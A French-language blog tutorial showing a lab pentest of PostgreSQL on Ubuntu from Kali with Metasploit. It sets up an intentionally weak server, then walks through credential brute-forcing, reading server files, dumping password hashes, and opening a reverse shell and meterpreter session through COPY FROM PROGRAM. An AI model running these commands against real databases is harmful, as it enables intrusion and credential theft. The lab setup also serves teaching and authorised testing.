Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

PostgreSQL est une base de données relationnelle orientée objet open source et avancée, également connue sous le nom de Postgres. Il s’agit d’un puissant système de gestion de base de données hautes performances sous une licence flexible de type BSD. Beaucoup de grande société comme Netflix, Uber ou encore Spotify utilise ce SGBD, pour gérer tout ou partie de leurs SI. (source : https://stackshare.io/postgresql )

Aujourd’hui, nous allons donc voir comment réaliser un pentest à l’aide du framwork metasploit (depuis kali linux) contre une base de données postgres s’exécutant sous Ubuntu 20.04.

0. Conditions préalables:

Cible:  Ubuntu 20.04 hébergeant une base de données postgreSQL

Attaquant : Kali Linux 2020.4

(Les deux machines étant sur le même réseau)

Toutes les commandes ci-dessous seront éxécutées « as root »

I. Installer PostgreSQL (Lab setup)

PostgreSQL est disponible dans le référentiel Ubuntu. Il vous suffit donc de les installer avec la commande apt, rien de plus simple ^^

apt install postgresql postgresql-client

Une fois l’installation terminée, démarrez le service PostgreSQL et ajoutez-le au démarrage du système en entrant les commandes suivantes :

systemctl start postgresql.service
systemctl enable postgresql.service

A. Définir le mot de passe de l’utilisateur PostgreSQL

À l’aide de la commande suivante, vous pouvez modifier le mot de passe utilisateur par défaut pour PostgreSQL. Dès lors que ce mot de passe sera fixé, nous allons nous connecter à la base de données via l’utilisateur postgres :

passwd postgres # changement du mot de passe (dans mon cas 123456a)
su -l postgres # on change d'utilisateur courrant root -> postgres
psql # on se connecte à postgres 

Quittez la console postgreSQL via la combinaison de touche suivante : control+d

B. Créer une base de données et des rôles d’utilisateur

Depuis votre terminal connecté via l’utilisateur postgres, vous pouvez créer de nouvelles bases de données et des utilisateurs à l’aide du shell PostgreSQL (Qui vous évite d’être connecté à postgreSQL tout le temps directement) :

psql -c "alter user postgres with password '123456a' "
createuser -EPd ignite
createdb secret -O ignite # On affecte la base de données "secret" à l'utilisateur ignite

PostgreSQL écoute par défaut sur l’interface locale qui est 127.0.0.1. Mais, pour l’accès à distance, vous avez besoin de réaliser quelques modifications dans le fichier de configuration. Pour accéder au fichier de configuration, vous utiliserez la commande suivante que vous éxécuterez depuis un terminal par le biais de l’utilisateur root :

nano /etc/postgresql/12/main/postgresql.conf

Décomentez la ligne # listen_adresses = 'localhost', et remplacez localhost par ‘*’ (ecoutera sur toutes les interfaces réseaux physiques et virtuelles de la machines). Bien sûr, cela n’est pas du tout une bonne pratique pour un serveur en production (mais ce n’est pas notre but^^). Il faudrait entrer seulement l’adresse IP de de la machine en fonction de son interface réseau principale, pour resserer la sécurité.

listen_addresses = '*'

Editez par la suite le fichier /etc/postgresql/12/main/pg_hba.conf, afin que nous puissions autoriser tous les utilisateurs à se connecter à notre base de données postgreSQL. (Une fois de plus, ce n’est pas à faire en prod).

nano /etc/postgresql/12/main/pg_hba.conf # as root

Ajoutez la ligne suivante :

host  all  all 0.0.0.0/0 md5

Redémarrer le service postgreSQL par le biais de la commande suivante afin d’appliquer les modifications :

service postgresql restart # as root

II. Pentest depuis Kalilinux

Nous allons utiliser le framwork metasploit, pour dans un premier temps brutforcer le mot de passe associé à un compte postgres. Je vais utiliser l’outil « seclist* » qui est un regroupement de dictionnaire de mots de passe / usernames etc.

Si vous souhaitez obtenir ce manifeste de dictionnaires, je vous invite à installer seclist via apt. En tout cas je vais me baser sur deux dictionnaires issus de ce manifeste pour la suite du tutoriel !

apt install seclist # Va télécharger plusieurs centaines de MO

Pour les besoins du tutoriel, je vais également modifier les fichiers suivant :

  • /usr/share/seclists/Usernames/top-usernames-shortlist.txt (en insérant l’utilisateur postgres)
  • /usr/share/seclists/Passwords/xato-10-million-passwords-10.txt (en insérant le mot de passe associé de l’utilisateur postgres : 123456a

Bien sûr, cela ne représente pas la réalité vu qu’on connais le mot de passe en amont, mais cela nous (me) permet de pouvoir « gagner du temps », vu que ce didacticiel vous montre comment mettre en oeuvre cette attaque. (Et que chaque scenari à ses propres spécificités.)

A. Brute force avec metasploit avec le module /scanner/postgres/postgres_login

msfconsole
use auxiliary/scanner/postgres/postgres_login
set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set PASS_FILE /usr/share/seclists/Passwords/xato-10-million-passwords-10.txt 
set RHOST 192.168.130.134 # machine victime "Remote Host"
exploit # Vous pouvez aussi utiliser la commande run. "exploit" est un alias de "run"

Après quelques secondes, nous avons trouvé sans trop de mal un couple user/mdp correct : postgres/12345a

Nous allons pouvoir passer à la suite.

B. Enumérer la version de PostgreSQL et du système d’exploitation de l’hôte avec le module auxiliary/admin/postgres/postgres_sql

use auxiliary/admin/postgres/postgres_sql
set USERNAME postgres
set PASSWORD 123456a
set RHOST 192.168.130.134
exploit # Vous pouvez aussi utiliser la commande run. "exploit" est un alias de "run"

Nous trouvons la version exacte de postgreSQL, ainsi que d’autres informations concernant le système d’exploitation qui l’héberge (ubuntu 20.04…) et la version de son architecture x64.

C. Enumérer certains fichiers du serveur avec le module auxiliary/admin/postgres/postgres_readfile

Cette technique est très pratique étant donné, que nous allons pouvoir faire une prise d’empreinte approfondie auprès du serveur en affichant le contenu de certains fichiers. Prenons un exemple simple. Dans notre cas, nous souhaitons in fine, attaquer le protocole SSH, pour cela, nous allons essayer par l’intermédiaire d’une requête SQL de pouvoir récupérer le contenu d’un des fichiers de configuration du service ssh de cette machine.

Note : Il faut que les fichiers que nous souhaitons « espionner » octroie des droits de lecture au groupe « Autre », vu que nous réalisons cette action par l’intermédiaire de l’utilisateur postgres.

use auxiliary/admin/postgres/postgres_readfile
set RFILE /etc/ssh/ssh_config
set USERNAME postgres
set PASSWORD 123456a
set RHOST 192.168.130.134
exploit

Le fichier de configuration du service ssh, est alors affiché. (1/2)

Le fichier de configuration du service ssh, est alors affiché. (1/2)

J’en suis la.

D. Récupérer les Usernames et mots de passe (HASH)

Par la suite, nous allons continuer notre attaque en essayant de récupérer tous les hash de mots de passe ainsi que les noms d’autres utilisateurs utilisant postgreSQL. Pour cela entrez les commandes suivantes dans votre terminal :

use auxiliary/scanner/postgres/postgres_hashdump
set USERNAME postgres
set PASSWORD 123456a
set RHOST 192.168.130.134
exploit # Vous pouvez aussi utiliser la commande run. "exploit" est un alias de "run"

Nous constatons que nous avons récupéré deux noms d’utilisateurs et deux hashs de mots de passe (md5). la prochaine étape serrait par exemple d’essayer de « casser le hash » de l’utilisateur ignite par l’intermédiaire de l’utilitaire john (theripper), ou bien de comparer le hash de son mdp à une base de données en ligne. Rien de plus simple que de lancer une recherche google…. 🙂

E. Accéder au shell de la machine hébergeant Postgres, par l’intermédiaire du module exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Postgres 9.3 et ultérieure ont des fonctionnalités qui permettent aux utilisateurs avec la fonction ‘pg_execute_server_program’ d’exécuter un shell externe en utilisant COPY (Repose sur le même principe que la commande docker, pour ceux qui connaisse.). Cela va vous permettre l’exécution de commandes Linux par le biais d’une console meterpreter. Ceci vous octroiera la possibilité de (tenter) de créer une nouvelle table dans la bdd, puis d’exécuter des commandes systèmes dans le cadre de la copie de la sortie de l’instruction SQL. (Vous devez vous dire à ce Moment WTF, vous inquietez pas, moi aussi :-))

Note : Les commandes seront exécutés par le biais de l’utilisateur (depuis la machine linux hébergeant la bdd) postgres.

use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
set RHOST 192.168.130.134
set LHOST 192.168.130.128
set USERNAME postgres
set PASSWORD 123456a
exploit

Dès lors que vous voyez apparaitre « Command shell session 1 opened … » appuyez sur control+z, et ensuite « y », afin de mettre cette session en arrière-plan. Nous allons établir une session meterpreter à partir de celle-ci.

sessions -u 1 # Attendre 2/3 secondes
sessions # Pour lister vos sessions. Vous devez en avoir deux 

Enfin, pour accéder à notre session meterpreter que nous venons de créer, saisissez la commande suivante :

sessions 2

Maintenant que nous avons un accès à la base de données, et au système hôte, nous pouvons ainsi faire ce que nous souhaitons avec cette machine (Dans les limites de l’utilisateur postgres (qui j’espère n’aura pas d’accès sudo…)).

Pour plus d’information, sur ce que nous pouvons faire avec cette session meterpreter, tapez la commande help.

III. Pour finir

Kali Linux contient par défaut l’utilitaire psql qui permet à un utilisateur de s’authentifier auprès d’une base de données PostgreSQL. Vu que nous avons pu récupérer le couple user/mdp : postgres / 123456a, nous pouvons nous connecter directement à la base, depuis un terminal.

C’est tout pour cette fois-ci. En espérant que ce guide vous aura aidé 🙂

++

Geoffrey


Geoffrey Sauvageot-Berland

Ingénieur diplômé par l’état en Informatique et Cybersécurité. Généraliste, à l'origine administrateur systèmes et réseaux, j’occupe actuellement un poste d’auditeur en sécurité offensive. J’apprécie également la programmation/automatisation. Fondateur du blog : "Le Guide du SecOps", anciennement "Le Guide du SysOps"